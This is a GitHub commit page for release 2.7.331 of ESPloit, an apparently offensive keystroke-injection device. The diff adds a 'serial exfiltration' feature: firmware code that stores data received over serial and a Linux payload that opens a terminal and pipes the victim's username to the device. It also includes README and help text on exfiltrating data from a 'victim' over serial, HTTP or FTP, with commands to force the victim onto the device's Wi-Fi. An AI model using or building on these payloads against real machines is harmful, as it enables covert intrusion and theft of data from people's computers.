Skip to content

Commit 9f877f4

Browse files
exploitagencyexploitagency
committed
Release 2.7.331
Add Serial Exfiltration Method Victim and Device no longer need to be on the same network to exfiltrate data!
1 parent 804c63f commit 9f877f4

7 files changed

Lines changed: 65 additions & 14 deletions

File tree

‎README.md‎

Lines changed: 23 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -70,7 +70,9 @@ You are now greeted with the main menu of ESPloit. From here there are several o
7070
Upload Payload: Upload a payload.txt file
7171
Choose Payload: Choose a payload to run
7272
Live Payload Mode: Type out or copy/paste a payload to run without uploading
73+
Duckuino Mode: Convert and optionally run Ducky Script payloads to ESPloit compatible script
7374
Input Mode: Use the device as a keyboard/mouse substitute
75+
List Exfiltrated Data: Lists any exfiltrated data
7476
Configure ESPloit: Configure WiFi and basic settings
7577
Format File System: Format the file system
7678
Upgrade ESPloit Firmware: Upgrade the ESP-12S ESPloit firmware from a web browser
@@ -236,16 +238,24 @@ Live Payload Mode
236238
Here you may type out or copy/paste a payload to run without uploading.
237239

238240
-----
239-
List Exfiltrated Data
241+
Input Mode
240242
-----
241243

242-
Displays any data that has been collected from the victim using ESPloit's exfiltration methods.
244+
Use the device as a keyboard/mouse substitute.
245+
246+
-----
247+
Duckuino Mode
248+
-----
249+
250+
Convert Ducky Script to ESPloit Script and then optionally run the script.
251+
Paste Ducky Script on the text area to the left.
252+
Click convert and the ESPloit compatible script appears on the right.
243253

244254
-----
245-
Input Mode
255+
List Exfiltrated Data
246256
-----
247257

248-
Use the device as a keyboard/mouse substitute.
258+
Displays any data that has been collected from the victim using ESPloit's exfiltration methods.
249259

250260
-----
251261
Format File System
@@ -275,7 +285,15 @@ If you are using this mode to swap the firmware loaded on the ESP-12S chip, and
275285
Exfiltrating Data
276286
-----
277287

278-
To exfiltrate data be sure ESPloit and Target machine are on the same network.
288+
Serial Exfiltration Method:
289+
Find the victims com port
290+
Set the baud rate to 38400
291+
Send the text "SerialEXFIL:" followed by the data to exfiltrate
292+
Exfiltrated data will be saved to the file SerialEXFIL.txt
293+
See the example payloads for more info
294+
295+
WiFi Exfiltration Methods:
296+
To exfiltrate data using WiFi methods be sure ESPloit and Target machine are on the same network.
279297
Either set ESPloit to join the Target's network or set the Target to join ESPloit's AP.
280298

281299
Example commands to force victim to connect to ESPloit's network(when set as AP):

‎payloads/LinSerialEXFIL.txt‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
Rem: Exfiltrate UserName from Linux Box using a Serial Link
2+
Press:134+195
3+
PrintLine:gnome-terminal
4+
CustomDelay:1000
5+
PrintLine:stty -F /dev/ttyACM0 38400;echo "SerialEXFIL:"$(whoami) > /dev/ttyACM0

‎source/ESP_Code/Duckuino.h‎

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -102,6 +102,9 @@ menu a.hoverable:hover {
102102
<body>
103103
<menu>
104104
<FORM action="/runlivepayload" method="post" id="duckuino" target="iframe">
105+
<a class="left hoverable" href="/esploit">
106+
<- BACK
107+
</a>
105108
<a class="left compile-but hoverable">
106109
Convert
107110
</a>
@@ -112,7 +115,7 @@ Run Payload
112115
<div class="inout-wrapper">
113116
<textarea class="inout duckyscript" placeholder="Enter Ducky Script Here"></textarea>
114117
<INPUT type="radio" name="livepayloadpresent" value="1" hidden="1" checked="checked">
115-
<textarea class="inout arduino" name="livepayload" readonly placeholder="ESPloit Compatible Script will Appear Here (Click Convert)"></textarea>
118+
<textarea class="inout arduino" name="livepayload" readonly placeholder="ESPloit Compatible Script will Appear Here (Click Convert then optionally Run Payload)"></textarea>
116119
</form>
117120
</div>
118121
<textarea class="console" readonly></textarea>

‎source/ESP_Code/ESP_Code.ino‎

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -604,7 +604,7 @@ void ListPayloads(){
604604
String FileList = "<a href=\"/esploit\"><- BACK TO INDEX</a><br><br>";
605605
Dir dir = SPIFFS.openDir(directory);
606606
if(server.uri() == "/listpayloads") FileList += "File System Info Calculated in Bytes<br><b>Total:</b> "+total+" <b>Free:</b> "+freespace+" "+" <b>Used:</b> "+used+"<br><br><a href=\"/uploadpayload\">Upload Payload</a><br><br><a href=\"/livepayload\">Live Payload Mode</a><br><br><table border='1'><tr><td><b>Display Payload Contents</b></td><td><b>Size in Bytes</b></td><td><b>Run Payload</b></td><td><b>Download File</b></td><td><b>Delete Payload</b></td></tr>";
607-
if(server.uri() == "/exfiltrate/list") FileList += String()+F("To exfiltrate data be sure ESPloit and Target machine are on the same network.<br>Either set ESPloit to join the Target's network or set the Target to join ESPloit's AP.<br><small>Current Network Configuration: ESPloit's IP= <b>")+local_IPstr+"</b> SSID = <b>"+ssid+"</b> PASSWORD = <b>"+password+"</b><br>Windows: netsh wlan set hostednetwork mode=allow ssid=\"<b>"+ssid+"</b>\" key=\"<b>"+password+"</b>\"<br>Linux: nmcli dev wifi connect <b>"+ssid+"</b> password <b>"+password+"</b></small><br>For HTTP exfiltration method point the target machine to the url listed below:<br><small>http://<b>"+local_IPstr+"</b>/exfiltrate?file=<b>FILENAME.TXT</b>&data=<b>EXFILTRATED-DATA-HERE</b></small><br>For FTP exfiltration method use the credentials listed below:<br><small>Server: <b>"+local_IPstr+"</b> Username: <b>"+ftp_username+"</b> Password: <b>"+ftp_password+"</b></small><br>See the example payloads for more in depth examples.<br><br>File System Info Calculated in Bytes<br><b>Total:</b> "+total+" <b>Free:</b> "+freespace+" "+" <b>Used:</b> "+used+"<br><br><table border='1'><tr><td><b>Display File Contents</b></td><td><b>Size in Bytes</b></td><td><b>Download File</b></td><td><b>Delete File</b></td></tr>";
607+
if(server.uri() == "/exfiltrate/list") FileList += String()+F("To exfiltrate data using the serial method find the com port device is connected to<br>then be sure to set the baud rate to 38400 on the victim machine<br>and send the text \"SerialEXFIL:\" followed by the data to exfiltrate.<br>To exfiltrate data using the WiFi methods be sure ESPloit and Target machine are on the same network.<br>Either set ESPloit to join the Target's network or set the Target to join ESPloit's AP.<br><small>Current Network Configuration: ESPloit's IP= <b>")+local_IPstr+"</b> SSID = <b>"+ssid+"</b> PASSWORD = <b>"+password+"</b><br>Windows: netsh wlan set hostednetwork mode=allow ssid=\"<b>"+ssid+"</b>\" key=\"<b>"+password+"</b>\"<br>Linux: nmcli dev wifi connect <b>"+ssid+"</b> password <b>"+password+"</b></small><br>For HTTP exfiltration method point the target machine to the url listed below:<br><small>http://<b>"+local_IPstr+"</b>/exfiltrate?file=<b>FILENAME.TXT</b>&data=<b>EXFILTRATED-DATA-HERE</b></small><br>For FTP exfiltration method use the credentials listed below:<br><small>Server: <b>"+local_IPstr+"</b> Username: <b>"+ftp_username+"</b> Password: <b>"+ftp_password+"</b></small><br>See the example payloads for more in depth examples.<br><br>File System Info Calculated in Bytes<br><b>Total:</b> "+total+" <b>Free:</b> "+freespace+" "+" <b>Used:</b> "+used+"<br><br><table border='1'><tr><td><b>Display File Contents</b></td><td><b>Size in Bytes</b></td><td><b>Download File</b></td><td><b>Delete File</b></td></tr>";
608608
while (dir.next()) {
609609
String FileName = dir.fileName();
610610
File f = dir.openFile("r");
@@ -1162,7 +1162,14 @@ void loop() {
11621162
if(cmd == "Version"){
11631163
ardversion = Serial.readStringUntil('\n');
11641164
}
1165+
if(cmd == "SerialEXFIL"){
1166+
String SerialEXFIL = Serial.readStringUntil('\n');
1167+
File f = SPIFFS.open("/SerialEXFIL.txt", "a");
1168+
f.println(SerialEXFIL);
1169+
f.close();
1170+
}
11651171
}
1172+
11661173
//Serial.print("Free heap-");
11671174
//Serial.println(ESP.getFreeHeap(),DEC);
11681175
}

‎source/ESP_Code/ESP_Code.ino.generic.bin‎

1.11 KB
Binary file not shown.

‎source/ESP_Code/HelpText.h‎

Lines changed: 24 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -74,7 +74,9 @@ Upload Payload: Upload a payload.txt file<br>
7474
Choose Payload: Choose a payload to run<br>
7575
Live Payload Mode: Type out or copy/paste a payload to run without uploading<br>
7676
Input Mode: Use the device as a keyboard/mouse substitute<br>
77+
Duckuino Mode: Convert and optionally run Ducky Script payloads to ESPloit compatible script<br>
7778
Configure ESPloit: Configure WiFi and basic settings<br>
79+
List Exfiltrated Data: Lists any exfiltrated data<br>
7880
Format File System: Format the file system<br>
7981
Upgrade ESPloit Firmware: Upgrade the ESP-12S ESPloit firmware from a web browser<br>
8082
Help: Brings up this help file<br>
@@ -144,7 +146,7 @@ Scripting a Payload<br>
144146
-----<br>
145147
<br>
146148
ESPloit uses its own scripting language and not Ducky Script,<br>
147-
although a Ducky Script to ESPloit converter is available at: https://exploitagency.github.io/Duckuino/index.html<br>
149+
although a Ducky Script to ESPloit converter is available in the Duckuino Mode page<br>
148150
<br>
149151
Examples of ESPloit's scripting language can be seen below.<br>
150152
<br>
@@ -239,16 +241,24 @@ Live Payload Mode<br>
239241
Here you may type out or copy/paste a payload to run without uploading.<br>
240242
<br>
241243
-----<br>
242-
List Exfiltrated Data<br>
244+
Input Mode<br>
243245
-----<br>
244246
<br>
245-
Displays any data that has been collected from the victim using ESPloit's exfiltration methods.<br>
247+
Use the device as a keyboard/mouse substitute.<br>
246248
<br>
247249
-----<br>
248-
Input Mode<br>
250+
Duckuino Mode<br>
249251
-----<br>
250252
<br>
251-
Use the device as a keyboard/mouse substitute.<br>
253+
Convert Ducky Script to ESPloit Script and then optionally run the script.<br>
254+
Paste Ducky Script on the text area to the left.<br>
255+
Click convert and the ESPloit compatible script appears on the right.<br>
256+
<br>
257+
-----<br>
258+
List Exfiltrated Data<br>
259+
-----<br>
260+
<br>
261+
Displays any data that has been collected from the victim using ESPloit's exfiltration methods.<br>
252262
<br>
253263
-----<br>
254264
Format File System<br>
@@ -278,7 +288,15 @@ If you are using this mode to swap the firmware loaded on the ESP-12S chip, and
278288
Exfiltrating Data<br>
279289
-----<br>
280290
<br>
281-
To exfiltrate data be sure ESPloit and Target machine are on the same network.<br>
291+
Serial Exfiltration Method:<br>
292+
Find the victims com port<br>
293+
Set the baud rate to 38400 on victim machine<br>
294+
Send the text "SerialEXFIL:" followed by the data to exfiltrate<br>
295+
Exfiltrated data will be saved to the file SerialEXFIL.txt<br>
296+
See the example payloads for more info<br>
297+
<br>
298+
WiFi Exfiltration Methods:<br>
299+
To exfiltrate data using WiFi methods be sure ESPloit and Target machine are on the same network.<br>
282300
Either set ESPloit to join the Target's network or set the Target to join ESPloit's AP.<br>
283301
<br>
284302
Example commands to force victim to connect to ESPloit's network(when set as AP):<br>

‎source/ESP_Code/version.h‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
1-
String version = "2.6.1337";
1+
String version = "2.7.331";
22
String latestardversion = "2.2";

0 commit comments

Comments
 (0)